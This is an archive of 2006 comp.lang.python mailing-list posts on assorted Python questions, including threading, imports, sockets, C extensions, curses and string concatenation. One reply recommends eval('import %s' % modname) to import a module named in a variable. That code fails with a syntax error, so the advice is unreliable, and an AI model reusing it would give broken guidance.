2006 23:20:04 -0400 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> Message-ID: wrote in message news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com... > bearophileHUGS at lycos.com wrote: > no sort() is needed to calculate the median of a list. > you just need one temp var. Of course. But for a short enough list, the builtin sort() method may be faster than an O(n) algorithm coded in Python. And .sort() is already present. tjr From mail at microcorp.co.za Tue Oct 10 02:57:36 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 10 Oct 2006 08:57:36 +0200 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <028801c6ec39$83d679c0$03000080@hendrik> "Lawrence D'Oliveiro" wrote: > In message , Hendrik van > Rooyen wrote: > > > "Lawrence D'Oliveiro" wrote: > > > > 8<-------------------------------------------------------- > > > >> I wonder if we need another "middle" field for holding the "bin/binte" > >> part (could also hold, e.g. "Van" for those names that use this). > > > > NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a > > space in it - and its peculiar in that the first letter is not > > capitalised.... > > > > And I am sure that the people called "von Kardorff" would not agree > > either... > > So do the Dutch phone books have a lot of entries under V, then? > > It just seems less efficient to me, that's all. Don't know about what happens in Holland - my ancestors came over here to South Africa a long time ago - a mixed up kid I am - Dutch and French from the time of the revocation of the edict of Nantes... And yes, here the phone books are sorted that way - the "van Rensburg"s precede the "van Rooyen"s. And what is worse, there are a lot of "van der"s too - two spaces in the string like "van der Merwe" who are preceded by "van der Bank" - "van" basically means "from" - like the German "von" - but in Germany its an appellation applied to the nobility - and in my name it makes no sense as "Rooyen" is not a place - its a strange archaic derivative of the colour red - "rooij' in Dutch, spelt "rooi" in Afrikaans - and the "der" is an archaic form of "the" - (and modern "the" in German, if yer male) ... And that lot completely ignores other animals like the "Janse van Rensburg"s, who go in amongst the "J"s... HTH - Hendrik From http Sun Oct 15 07:03:33 2006 From: http (Paul Rubin) Date: 15 Oct 2006 04:03:33 -0700 Subject: where is Python tutorial? References: Message-ID: <7xzmbxhmd6.fsf@ruckus.brouhaha.com> "Tshepang Lekhonkhobe" writes: > I looked in the packages list and couldn't find the tutorial and was > wondering if it was removed from the archive. Was it? http://www.google.com/search?q=%22python+tutorial%22 finds it pretty fast From bignose+hates-spam at benfinney.id.au Thu Oct 26 05:47:49 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 19:47:49 +1000 Subject: Cards deck problem References: <1161854836.904027.8380@m73g2000cwd.googlegroups.com> Message-ID: <871wovif22.fsf@benfinney.id.au> "Arun Nair" writes: > Can any one help me with this im not getting it even after reading > books because there is not much of discussion anywhere Perhaps the discussion should be between yourself and your teacher, or the other students in your class. We're not here to do your homework assignments. -- \ "It is seldom that liberty of any kind is lost all at once." | `\ -- David Hume | _o__) | Ben Finney From tim at tdw.net Tue Oct 17 05:57:34 2006 From: tim at tdw.net (Tim Williams) Date: Tue, 17 Oct 2006 10:57:34 +0100 Subject: Cannot import a module from a variable In-Reply-To: References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Message-ID: <9afea2ac0610170257p6d7cd4a9mb6ec8d09c6ec4920@mail.gmail.com> On 16/10/06, Bruno Desthuilliers wrote: > Jia Lu wrote: > > Hi all: > > > > I try to do things below: > >>>> import sys > >>>> for i in sys.modules.keys(): > > import i > > Traceback (most recent call last): > > File "", line 2, in > > import i > > ImportError: No module named i > > > > But it seems that import donot know what is i ? > > The import statement expects a name (a symbol), not a string. > eval( 'import %s' % modname) and eval( 'reload(%s)' % modname) Usual warnings about eval apply, but in this case it is usable. HTH :) From mike.klaas at gmail.com Mon Oct 30 22:16:51 2006 From: mike.klaas at gmail.com (Klaas) Date: 30 Oct 2006 19:16:51 -0800 Subject: import in threads: crashes & strange exceptions on dual core machines In-Reply-To: References: Message-ID: <1162264611.252985.208010@m7g2000cwm.googlegroups.com> It seems clear that the import lock does not include fully-executing the module contents. To fix this, just import cookielib before the threads are spawned. Better yet, use your own locks around the acquisition of the opener instance (this code seems fraughtfully thread-unsafe--fix that and you solve other problems besides this one). regards, -Mike robert wrote: > I get python crashes and (in better cases) strange Python exceptions when (in most cases) importing and using cookielib lazy on demand in a thread. > It is mainly with cookielib, but remember the problem also with other imports (e.g. urllib2 etc.). > And again very often in all these cases where I get weired Python exceptions, the problem is around re-functions - usually during re.compile calls during import (see some of the exceptions below). But not only. > > Very strange: The errors occur almost only on machines with dual core/multi processors - and very very rarely on very fast single core machines (>3GHz). > > I'm using Python2.3.5 on Win with win32ui (build 210) - the cookielib taken from Python 2.5. > > I took care that I'm not starting off thread things or main application loop etc. during an import (which would cause a simple & explainable deadlock freeze on the import lock) > > With real OS-level crashes I know from user reports (packaged app), that these errors occur very likely early after app start - thus when lazy imports are likely to do real execution. > > I researched this bug for some time. I think I can meanwhile exclude (ref-count, mem.leak) problems in win32ui (the only complex extension lib I use) as cause for this. All statistics point towards import problems. > > Any ideas? > Are there problems known with the import lock (Python 2.3.5) ? > > (I cannot easily change from Python 2.3 and it takes weeks to get significant feedback after random improvements) > > -robert > > PS: > > The basic pattern of usage is: > > ================== > def f(): > ... > opener = urlcookie_openers.get(user) > if not opener: > import cookielib #<----1 > cj=cookielib.CookieJar() #<----2 > build_opener = urllib2.build_opener > httpCookieProcessor = urllib2.HTTPCookieProcessor(cj) > if url2_proxy: > opener = build_opener(url2_proxy,httpCookieProcessor) > else: > opener = build_opener(httpCookieProcessor) > opener.addheaders #$pycheck_no > opener.addheaders= app_addheaders > urlcookie_openers[user] = opener > ufile = opener.open(urllib2.Request(url,data,dict(headers))) > ... > > > thread.start_new(f,()) > ========================= > > Symptoms: > __________ > > sometimes ufile is None and other weired invalid states. > > typical Python exceptions when in better cases there is no OS-level crash: > > --------- > > # Attributes randomly missing like: > #<----2 > > "AttributeError: \'module\' object has no attribute \'CookieJar\'\\n"] > > > --------- > > # weired invalid states during computation like: > #<----1 > > ... File "cookielib.pyo", line 184, in ?\\n\', \' File > "sre.pyo", line 179, in compile\\n\', \' File "sre.pyo", line 228, in _compile\\n\', \' File > "sre_compile.pyo", line 467, in compile\\n\', \' File "sre_parse.pyo", line 624, in parse\\n\', \' > File "sre_parse.pyo", line 317, in _parse_sub\\n\', \' File "sre_parse.pyo", line 588, in > _parse\\n\', \' File "sre_parse.pyo", line 92, in closegroup\\n\', \'ValueError: list.remove(x): x > not in list\\n\'] > ... > 'windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2") > > > --------- > > #<----1 > > > File "cookielib.pyo", line 116, in ?\\n\', \' File "sre.pyo", line 179, in compile\\n\', \' File "sre.pyo", line 228, in _compile\\n\', \' File "sre_compile.pyo", line 467, in compile\\n\', \' File "sre_parse.pyo", line 624, in parse\\n\', \' File "sre_parse.pyo", line 317, in _parse_sub\\n\', \' File "sre_parse.pyo", line 494, in _parse\\n\', \' File "sre_parse.pyo", line 140, in __setitem__\\n\', \'IndexError: list assignment index out of range\\n\'] > > ('windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2" > > --------- > > # weired errors in other threads: > > # after dlg.DoModal() in main thread > > File "wintools.pyo", line 115, in PreTranslateMessage\\n\', \'TypeError: an integer is required\\n\'] > > ('windows', "(5, 1, 2600, 2, 'Service Pack 2')/NP=2") > > --------- > > # after win32ui.PumpWaitingMessages(wc.WM_PAINT, wc.WM_MOUSELAST) in main thread > > \'TypeError: argument list must be a tuple\\n\' > > > ... From fakeaddress at nowhere.org Mon Oct 2 21:25:18 2006 From: fakeaddress at nowhere.org (Bryan Olson) Date: Tue, 03 Oct 2006 01:25:18 GMT Subject: Sockets in python In-Reply-To: <1159557755.437424.44670@m73g2000cwd.googlegroups.com> References: <1159557755.437424.44670@m73g2000cwd.googlegroups.com> Message-ID: <2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com> OneMustFall wrote: > Reciently i wrote a simple client (in twisted) using Reconnecting > Factory. > That client logins to my socket server.. and that`s it. > > Interesting thing is that it is seems that twisted client, > sends some ping on a TCP level without sending any data to the > socket directly. > Because when i pull out cord from the ethernet card simulating > network falure, client in about 10-15 seconds determines that > connection lost!! (pretty cool) > While my server thinks that client is connected. What's your set-up and which cord are you pulling? -- --Bryan From hg at nospam.com Tue Oct 10 14:39:33 2006 From: hg at nospam.com (hg) Date: Tue, 10 Oct 2006 13:39:33 -0500 Subject: Funky file contents when os.rename or os.remove are interrupted In-Reply-To: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> Message-ID: <7WRWg.12104$Go3.4469@dukeread05> Russell Warren wrote: > I've got a case where I'm seeing text files that are either all null > characters, or are trailed with nulls due to interrupted file access > resulting from an electrical power interruption on the WinXP pc. > > In tracking it down, it seems that what is being interrupted is either > os.remove(), or os.rename(). Has anyone seen this behaviour, or have > any clue what is going on? > > On first pass I would think that both of those calls are single step > operations (removing/changing an entry in the FAT, or FAT-like thing, > on the HDD) and wouldn't result in an intermediate, null-populated, > step, but the evidence seems to indicate I'm wrong... > > Any insight from someone with knowledge of the internal operations of > os.remove and/or os.rename would be greatly appreciated, although I > expect the crux may be at the os level and not in python. > > Russ > Taking a quick look at the code, it looks like MoveFileW (Windows API) is eventually being called by posixmodule.c. My gut feeling is that you are correct and not facing a Python but Windows issue (sigh) ... you might want to test your problem on an NTFS file system and see if the problems are similar. Regards, hg From no at spam.com Tue Oct 24 20:05:49 2006 From: no at spam.com (Farshid Lashkari) Date: Tue, 24 Oct 2006 17:05:49 -0700 Subject: return tuple from C to python (extending python) In-Reply-To: <1161731656.218584.21470@m7g2000cwm.googlegroups.com> References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com> <1161731656.218584.21470@m7g2000cwm.googlegroups.com> Message-ID: Simon Forman wrote: > I have not done a great deal of extension work with python, however, I > do not believe you can simply cast an int (or pointer to int, which is > what you say dat is declared as, unless my C is /really/ rusty) to > PyObject*. > > I think you need to do something like Py_BuildValue("i", 123), but see > http://docs.python.org/ext/buildValue.html for more info. Simon is correct. You need to create a python object from your unsigned int. Try the following instead: PyTuple_SET_ITEM(toRet, i, PyInt_FromLong(dat[i]) ); -Farshid From timr at probo.com Sat Oct 21 22:05:16 2006 From: timr at probo.com (Tim Roberts) Date: Sun, 22 Oct 2006 02:05:16 GMT Subject: print dos format file into unix format References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com> Message-ID: <4bklj21c2tuk45u3cvk5mteilkri4kl1la@4ax.com> "PengYu.UT at gmail.com" wrote: > >Suppose I have a dos format text file. The following python code will >print ^M at the end. I'm wondering how to print it in unix format. > >fh = open(options.filename) >for line in fh.readlines() > print line, Are you running this on Unix or on DOS? On Unix, you can do: for line in open(options.filename).readlines(): print line.rstrip() Perhaps quicker is: sys.stdout.write( open(options.filename).read().replace('\r\n','\n') ) -- Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From gagsl-py at yahoo.com.ar Tue Oct 3 17:55:41 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Tue, 03 Oct 2006 18:55:41 -0300 Subject: split() In-Reply-To: <3671C2002ECC9149B2B5509290F533A64579D5@fiscex.FISCHERINTER NATIONAL.COM> References: <3671C2002ECC9149B2B5509290F533A64579D5@fiscex.FISCHERINTERNATIONAL.COM> Message-ID: <7.0.1.0.0.20061003185521.042c6da8@yahoo.com.ar> At Tuesday 3/10/2006 11:53, Bryan Leber wrote: >Gabriel, actually what I did was go ahead and write the whole >sequence of the commit(i.e. PATCH_NUMBER, BUG_NUMBER, etc) to a >file, and then I read in that file and put them into a list. Then I >used line.startswith() to go through and pull out the OVERVIEW onlyJ Glad to see it finally worked! Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From andreas.huesgen at arcor.de Wed Oct 4 15:19:24 2006 From: andreas.huesgen at arcor.de (Andreas Huesgen) Date: Wed, 04 Oct 2006 21:19:24 +0200 Subject: Find out the name of a variable passed as an argument Message-ID: <4524093C.6090707@arcor.de> Hello everybody, is there a way to receive the name of an object passed to a function from within the function. something like def foo(param): print theNameOfTheVariablePassedToParam var1 = "hello" var2 = "world" >>> foo(var1) var1 >>> foo(var2) var2 thanks in advance, greets Andreas Huesgen From dickey at saltmine.radix.net Wed Oct 11 11:44:20 2006 From: dickey at saltmine.radix.net (Thomas Dickey) Date: Wed, 11 Oct 2006 15:44:20 -0000 Subject: curses problem reading cursor keys References: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk> Message-ID: <12iq4akdgjs4kd7@corp.supernews.com> Simon Morgan wrote: > I'd also appreciate any pointers to good tutorials on curses, I've read > the one by awk and esr but found it rather brief and lacking in detail. esr only contributed his name - awk wrote the rest. (When I asked why, he only said it sounded like a good idea ;-) -- Thomas E. Dickey http://invisible-island.net ftp://invisible-island.net From nntp2 at alex29.dp.ua Thu Oct 26 08:14:30 2006 From: nntp2 at alex29.dp.ua (Alex Kachanov) Date: Thu, 26 Oct 2006 15:14:30 +0300 Subject: problem using subprocess.call References: Message-ID: >> >> dir=os.path.join(os.path.expanduser("~/domains/domain.com/html"),'test') >> subprocess.call(['find',dir+" -name '*.zip' -execdir unzip {} \;"]) > > subprocess.call(["find", dir, "-name", "*.zip", "-execdir", "unzip", > "{}", ";"]) Ok, thanks, it works. But what's the difference? Why I can't pass all parameters as one string? From anthra.norell at vtxmail.ch Mon Oct 2 16:10:03 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 02 Oct 2006 22:10:03 +0200 Subject: Operator += works once, fails if called again Message-ID: <4521721B.9040002@vtxmail.ch> Hi all, I have a class Time_Series derived from list. It lists days and contains a dictionary of various Lists also derived from list which contain values related to said days. (e.g. Stock quotes, volumes traded, etc.) I defined an operator += which works just fine, but only once. If I repeat the operation, it fails and leaves me utterly mystified and crushed. Craving to be uncrushed by a superior intelligence. Frederic --------------------------------------------------------------- A test: >>> TS1 = TIME_SERIES_7.Time_Series (range (10), 'TS1') # Some days >>> L1 = LIST_7.Floats ((22,44,323,55,344,55,66,77,-1,0), 'Numbers') # Some List with values >>> TS1.add_List (L1) >>> TS2 = TIME_SERIES_7.Time_Series ((3,4,5,7,8), 'TS2') # Other days (subset) >>> L2 = LIST_7.Floats ((7,-2,-5,0,2), 'Numbers') # Another List with values >>> TS2.add_list (L2) >>> TS1 += TS2 # First call >> TS1.write () TS1 | Date | Numbers | 0.00 | 1900.00.00 | 22.00 | 1.00 | 1900.01.01 | 44.00 | 2.00 | 1900.01.02 | 323.00 | 3.00 | 1900.01.03 | 62.00 | 4.00 | 1900.01.04 | 342.00 | 5.00 | 1900.01.05 | 50.00 | 6.00 | 1900.01.06 | 63.00 | 7.00 | 1900.01.07 | 77.00 | 8.00 | 1900.01.08 | -1.00 | 9.00 | 1900.01.09 | 0.00 | Perfect! >>> TS1 += TS2 # Second call Traceback (most recent call last): File "", line 1, in -toplevel- TS += TS2 File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1314, in __iadd__ return self.__add__ (other) File "c:\i\sony\fre\src\python\TIME_SERIES_7.py", line 1273, in __add__ Sum = copy.deepcopy (self) File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy y = _reconstruct(x, rv, 1, memo) File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct state = deepcopy(state, memo) File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy y = copier(x, memo) File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict y[deepcopy(key, memo)] = deepcopy(value, memo) File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy y = copier(x, memo) File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict y[deepcopy(key, memo)] = deepcopy(value, memo) File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy y = _reconstruct(x, rv, 1, memo) File "C:\PYTHON24\lib\copy.py", line 335, in _reconstruct state = deepcopy(state, memo) File "C:\PYTHON24\lib\copy.py", line 161, in deepcopy y = copier(x, memo) File "C:\PYTHON24\lib\copy.py", line 252, in _deepcopy_dict y[deepcopy(key, memo)] = deepcopy(value, memo) File "C:\PYTHON24\lib\copy.py", line 188, in deepcopy y = _reconstruct(x, rv, 1, memo) File "C:\PYTHON24\lib\copy.py", line 320, in _reconstruct y = callable(*args) File "C:\PYTHON24\lib\copy_reg.py", line 92, in __newobj__ return cls.__new__(cls, *args) TypeError: instancemethod expected at least 2 arguments, got 0 It seems to crash on the second call to deepcopy. Why? The type of the deepcopied object is still 'Time_Series'. Here's Time_Series.__add__ () but I don't think there's anything wrong with that. def __add__ (self, other): if self [0] <= other [0]: # One or the other ... Sum = copy.deepcopy (self) Summand = copy.deepcopy (other) else: # depending on which starts earlier Sum = copy.deepcopy (other) Summand = copy.deepcopy (self) if Sum [0] != Summand [0]: Summand.insert (0, Sum [0]) for list_name in Summand.Lists: Summand.Lists [list_name].insert (0, None) if Sum [-1] < Summand [-1]: Sum.append (Summand [-1]) elif Sum [-1] > Summand [-1]: Summand.append (Sum [-1]) Sum.make_continuous () # Fills in missing days and values Summand.make_continuous () for list_name in Summand.Lists: if Sum.Lists.has_key (list_name): Sum.Lists [list_name] += Summand.Lists [list_name] # List operators work fine return Sum --------------------------------------------------------------------------- From martin.dion at gmail.com Wed Oct 18 22:40:48 2006 From: martin.dion at gmail.com (martdi) Date: 18 Oct 2006 19:40:48 -0700 Subject: Converting existing module/objects to threads In-Reply-To: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> References: <1161219746.574285.188930@m7g2000cwm.googlegroups.com> Message-ID: <1161225648.047155.163200@h48g2000cwc.googlegroups.com> jdlists at gmail.com wrote: > I have inheirted some existing code, that i will explain in a moment, > have needed to extend and ultimately should be able to run in threads. > I've done a bunch of work with python but very little with threads and > am looking for some pointers on how to implement, and if the lower > level modules/objects need to be rewritten to use threading.local for > all local variables. > > I have a module that communicates with a hardware device, which reads > data off of sensors, that can only talk with one controller at a time. > The controller (my module) needs to (in its simplest form) init, > configure the device, request data, and write out xml, sleep, repeat. > > The new request is that the device needs to be queried until a > condition is true, and then start requesting data. So an instance of a > controller needs to be deadicated to a hardware device forever, or > until the program ends....which ever comes first. > > This currently works in a non-threaded version, but only for one device > at a time, there is a need to create a single windows(yeach) service > that talks to many of these devices at once. I don't need worker > threads that handle seperate portions of the entire job, i need a > single application to spawn multiple processes to run through the > entire communication from configure to report, sleep until the next > interval time and run again. The communication could last from 1 > minute to 10 minutes before it ends. > > > Here is the code layout in pseudocode. > > module.Object - controller.Main - handles all socket communications > > class subcontroller(controller.Main): > def __init__(self,id,configurationFile): > controller.Main.__init__(self) > // instantiate variables and local objects that handle > configuration, logic and data output > > def configure(self,configurationFile): > //read configurationFile and configure device > > def process(self): > while 1: > //based on configuration file, query the device until condition > is true and then write xml, sleep until time to repeat and run again. > > within controller there are 5 objects and subcontroller is a sinlge > object that loads other objects from the inherited controller.System > > I'm trying to figure out how difficult it is going to be to convert > this to a threaded application. The original controller.Main is built > to talk to devices in series, never in parallel. so no objects are > considered to be thread safe, but no instance of any of the objects > should need to share resources with any other instance of teh same > object. they would all have unique configuration files and talk to > devices on unique ip/ports. > > on a unix system, forking,while potentially not optimal, would be a > fine solution, unfortunantely this needs to run on windows. > > I know i have left out many details, but hopefully this is enough to at > least enable some kind soles to lend an opinnion or two. > > many thanks > jd Taking a look at asyncore could be worthwhile, but if you want to implement it with threads, you may be able to do it this way: In your main file, from where you start the program, let's call it main: main(self) Load Required configuration spawn threads (1 for each controller) define a queue object from module queue.queue used for communication with threads enter an infinite loop that checks for the conditions once conditions are met, notify the proper thread class ControllerThread(threading.Thread): def __init__(self): define a queue here, to process messages from the main call threading.Thread.__init__(self) define method to load config for thread objects (you might want to pass an argument to init to load your configs from a file) (you might also want to pass the queue of the main program to the thread to send it messages) define methods to post messages to the queue like read, send to the machine, stop, ... define the run method that is what will be called when you start your thread. this method should enter an infinite loop that will check if something has to be done (check in the queue). hope this might help you good luck From jyoti.chhabra at gmail.com Thu Oct 12 03:50:16 2006 From: jyoti.chhabra at gmail.com (JyotiC) Date: 12 Oct 2006 00:50:16 -0700 Subject: pygtk dynamic table Message-ID: <1160639416.482416.6110@i42g2000cwa.googlegroups.com> hi, i am making a gui, which looks like excel sheets. i want to give the user the facility of adding rows/columns at the run time. there is some initial size, but that can be increased any time during the executation of the code. what i have tried, is that i am using table. so when ever user increase the size, i destroy the original table and make a new one with the increased size. is there a better way to do this ? thanx in advance From http Mon Oct 23 21:12:36 2006 From: http (Paul Rubin) Date: 23 Oct 2006 18:12:36 -0700 Subject: Python segmentation fault? References: Message-ID: <7xr6wybjp7.fsf@ruckus.brouhaha.com> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> writes: > Is there a way to debug scripts that cause segmentation faults? I can > do a backtrace in gdb on Python, but that doesn't really help me all > that much since, well, it has nothing to do with my script... :-P Scripts should never cause segmentation faults. Extension modules can cause them. One frequent cause is a refcount management error. There are various tools around for checking refcount correctness. Here is one: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496791 From duncan.booth at invalid.invalid Mon Oct 2 07:03:11 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 2 Oct 2006 11:03:11 GMT Subject: __init__ style questions References: <1159785721.004647.51490@c28g2000cwb.googlegroups.com> Message-ID: "Will McGugan" wrote: > A Vector3D can be constructed in 3 ways. If no parameters are given it > assumes a default of (0, 0, 0). If one parameter is given it is assumed > to be an iterable capable of giving 3 values. If 3 values are given > they are assumed to be the initial x, y, z. > > And now for the ponderings... > > 1) Is 'overloading' like this pythonic, or should I supply alternative > contstructors? No it isn't Pythonic. Why not just require 3 values and move the responsibility onto the caller to pass them correctly? They can still use an iterator if they want: Vector3D(a, b, c) Vector3D(*some_iter) Then your initialiser becomes: def __init__(self, x=0, y=0, z=0): self.x, self.y, self.z = x, y, z much cleaner and also catches accidental use of iterators. Alternatively, insist on always getting exactly 0 or 1 arguments: Vector3D((a,b,c)) Vector3D(some_iter) def __init__(self, (x, y, z)=(0,0,0)): self.x, self.y, self.z = x, y, z which is great if you already have lots of 3-tuples, but a pain otherwise to remember to double the parentheses. From steve at holdenweb.com Sat Oct 7 05:53:24 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 07 Oct 2006 10:53:24 +0100 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. AndySingleton In-Reply-To: <000f01c6e9eb$0e84ac00$03000080@hendrik> References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> <4omr1tFfbn9dU1@uni-berlin.de> <000f01c6e9eb$0e84ac00$03000080@hendrik> Message-ID: Hendrik van Rooyen wrote: > "Diez B. Roggisch" wrote: > > 8<--------------------------------------- > >>... - I don't wanna get >>into the details of my underwear.... :P >> >>Diez > > > Why not? - what are you hiding? > :) We *especially* don't want to get into the details of what's *under* his underwear. speaking-purely-for-myself-ly y'rs - steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From larry at hastings.org Mon Oct 2 00:19:26 2006 From: larry at hastings.org (Larry Hastings) Date: 1 Oct 2006 21:19:26 -0700 Subject: PATCH: Speed up direct string concatenation by 20+%! References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com> <451CD389.3010800@jessikat.plus.net> <1159540482.924744.164420@k70g2000cwa.googlegroups.com> <1159545255.339364.299020@k70g2000cwa.googlegroups.com> <1159546522.251704.301530@b28g2000cwb.googlegroups.com> <1159552048.354214.198180@e3g2000cwe.googlegroups.com> Message-ID: <1159762765.943691.139690@b28g2000cwb.googlegroups.com> An update: I have submitted this as a patch on SourceForge. It's request ID #1569040. http://sourceforge.net/tracker/?group_id=5470&atid=305470 I invite everyone to take it for a spin! There are some improvements in this version. Specifically: * Python will no longer crash if you do ten million prepends ( x = 'a' + x ). Since the problem was blowing the stack with an incredibly deep render, I now limit the depth of the string concatenation objects (currently set at 16384). Note that string prepending is now *immensely* faster, as prepending in the existing implementation is a worst-case. * I figured out why my zero-length strings were occasionally not zero terminated. It had to do with subclassing a string and storing an attribute in the object, which meant storing a dict, and where specifically the interpreter chose to store that. The solution was essentially to ensure there's always space in the object for the trailing zero. When running regrtest.py, my patched version produces identical output to a non-patched build on Windows. Steve Holden wrote: > Does a comparison also force it to render? Yes. Any attempt to examine the string causes it to render. > It does sound like memory usage > might go through the roof with this technique under certain > circumstances, so the more extensive your tests are the more likely you > are to see the change actually used (I'm not convinced you'll persuade > the developers to include this). Yeah, I expect memory usage to be higher too, but not by a fantastic amount. Once you render the concatenation, it drops all the references to the child objects held in the tree, and what's left is a string object with some extra space on the end. > I think your project might make a very > interesting PyCon paper for people who were thinking about joining the > development effort but hadn't yet started. Perhaps; I've never been to PyCon, but it might be fun to give a presentation there. That said, it would be way more relevant if the patch got accepted, don'tcha think? Cheers, /larry/ p.s. Thanks for the sentiment, Colin W.! From edreamleo at charter.net Wed Oct 4 15:45:57 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 14:45:57 -0500 Subject: How to ask sax for the file encoding References: <4oi0f3FehgnuU1@uni-berlin.de> <4oi4meFep2seU1@uni-berlin.de> Message-ID: > are you expecting your users to write XML by hand? Of course not. Leo has the following option: @string new_leo_file_encoding = utf-8 Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From mitko at qlogic.com Thu Oct 19 20:53:35 2006 From: mitko at qlogic.com (Mitko Haralanov) Date: Thu, 19 Oct 2006 17:53:35 -0700 Subject: Getting method name from within the class method In-Reply-To: <1161230496.293074.122990@k70g2000cwa.googlegroups.com> References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <1161230496.293074.122990@k70g2000cwa.googlegroups.com> Message-ID: <20061019175335.63f98717@opal.pathscale.com> On 18 Oct 2006 21:01:36 -0700 "George Sakkis" wrote: > from inspect import getframeinfo,currentframe > > class test(object): > def a_method(self,this,that): > print getframeinfo(currentframe())[2] Thanx for the reply! This about the most useful one I've gotten so far!! -- Mitko Haralanov mitko at qlogic.com Senior Software Engineer 650.934.8064 System Interconnect Group http://www.qlogic.com From hg at nospam.com Fri Oct 13 14:59:56 2006 From: hg at nospam.com (hg) Date: Fri, 13 Oct 2006 13:59:56 -0500 Subject: wing ide vs. komodo? In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu> References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: John Salerno wrote: > Just curious what users of the two big commercial IDEs think of them > compared to one another (if you've used both). > > Wing IDE looks a lot nicer and fuller featured in the screenshots, but a > glance at the feature list shows that the "personal" version doesn't > even support code folding! That's a little ridiculous and makes me have > doubts about it. > > Komodo, on the other hand, seems to have more of the features that the > personal version of Wing IDE lacks (call tips, class browser, etc.) but > the look of it seems very sparse for some reason. I'm testing them both now ... Wing IDE is in front (but I'm testing the pro version). hg From tejovathi.p at gmail.com Mon Oct 16 04:38:31 2006 From: tejovathi.p at gmail.com (Teja) Date: 16 Oct 2006 01:38:31 -0700 Subject: COM and threads Message-ID: <1160987911.076378.204730@f16g2000cwb.googlegroups.com> HI all, I have a problem in accesing COM objects in threads. To be precise, lets assume that I have a class GenericFunctions which is defined as follows: import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) Now there is another file Main.py which is defined as follows: import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() class Mainclass: def __init__(self); print "In Constructor of Main class" def threadFunction(self,dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) obj.func(dest) # this is gving an error. pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) thread.start_new_thread(self.nav, (s,'www.google.com') Basically, I want to access object of GenericFunctions class inside threadFunction(). However I was able to execute my_ie.Navigate("google.com"). But that was not I wanted. I am not knowing where the error is.... Please let me know the solution ASAP... Teja.P From chrispatton at gmail.com Tue Oct 31 23:21:19 2006 From: chrispatton at gmail.com (Chris) Date: 31 Oct 2006 20:21:19 -0800 Subject: .pyc's Message-ID: <1162354879.039642.195690@k70g2000cwa.googlegroups.com> I had some code that I wrote that I guess I deleted. But for whatever reason I still have the bytecode .pyc file for it. Is there a way to get the code I wrote back from this? From sjmachin at lexicon.net Sat Oct 7 02:06:54 2006 From: sjmachin at lexicon.net (John Machin) Date: 6 Oct 2006 23:06:54 -0700 Subject: Names changed to protect the guilty In-Reply-To: References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: <1160201214.367444.250270@i42g2000cwa.googlegroups.com> Aahz wrote: > In article <1160182951.812677.178750 at i42g2000cwa.googlegroups.com>, > MonkeeSage wrote: > >On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote: > >> > >> The following line of lightly munged code was found in a publicly > >> available Python library... > > > >Yes, this violates the Holy, Inspired, Infallible Style Guide 